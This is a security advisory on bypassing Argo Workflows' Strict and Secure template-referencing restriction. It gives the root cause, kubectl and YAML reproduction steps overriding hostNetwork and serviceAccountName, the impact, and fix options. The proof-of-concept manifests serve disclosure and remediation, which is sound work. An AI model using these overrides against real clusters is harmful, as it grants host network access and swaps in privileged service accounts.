GHSA-3775-99mw-8rp4

The fix for CVE-2026-31892 (commit 534f4ff) blocks podSpecPatch when templateReferencing: Strict is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set hostNetwork: true, override serviceAccountName, or change securityContext on their Workflow while referencing a hardened template -- these survive JoinWorkflowSpec and get applied at pod creation.

The check in setExecWorkflow gates on HasPodSpecPatch() only:

if woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {

Everything else passes through. createWorkflowPod reads hostNetwork, securityContext, serviceAccountName, tolerations, and automountServiceAccountToken from the merged spec and applies them directly to the pod.

JoinWorkflowSpec constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like hostNetwork (most won't -- false is the zero value and gets omitted), the user's true survives. For fields like securityContext and serviceAccountName, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.

Both Strict and Secure modes are affected. Secure stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent MustNotChangeSpec comparisons pass.

Steps to reproduce

Tested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.

# enable strict mode
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
kubectl rollout restart deployment workflow-controller -n argo

A template that lists network interfaces:

cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: netcheck
spec:
  entrypoint: check
  templates:
  - name: check
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["ip addr show | grep -E '^[0-9]+:' | cut -d: -f2"]
EOF

Submit a workflow with hostNetwork: true:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: netcheck
  hostNetwork: true
EOF

Pod gets host networking:

$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'
true

Container without the override sees eth0@if20. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.

podSpecPatch IS correctly blocked on the same cluster:

$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'
podSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction

serviceAccountName override also works -- a workflow with serviceAccountName: argo-server creates a pod running under the argo-server SA instead of the namespace default:

$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath='{.items[0].spec.serviceAccountName}'
argo-server

Tested in Secure mode as well -- same result. Pod created with hostNetwork: true before the workflow errors on an unrelated permission issue.

Impact

A user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.

The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed.

Fix direction

The check in setExecWorkflow should cover all WorkflowSpec fields that influence pod security posture, not just podSpecPatch. The affected fields that I confirmed in createWorkflowPod: hostNetwork, securityContext, serviceAccountName, automountServiceAccountToken, tolerations, dnsPolicy, schedulerName, hostAliases, volumes.

An alternative approach: when MustUseReference() is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.

Affected versions

All versions supporting templateReferencing, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.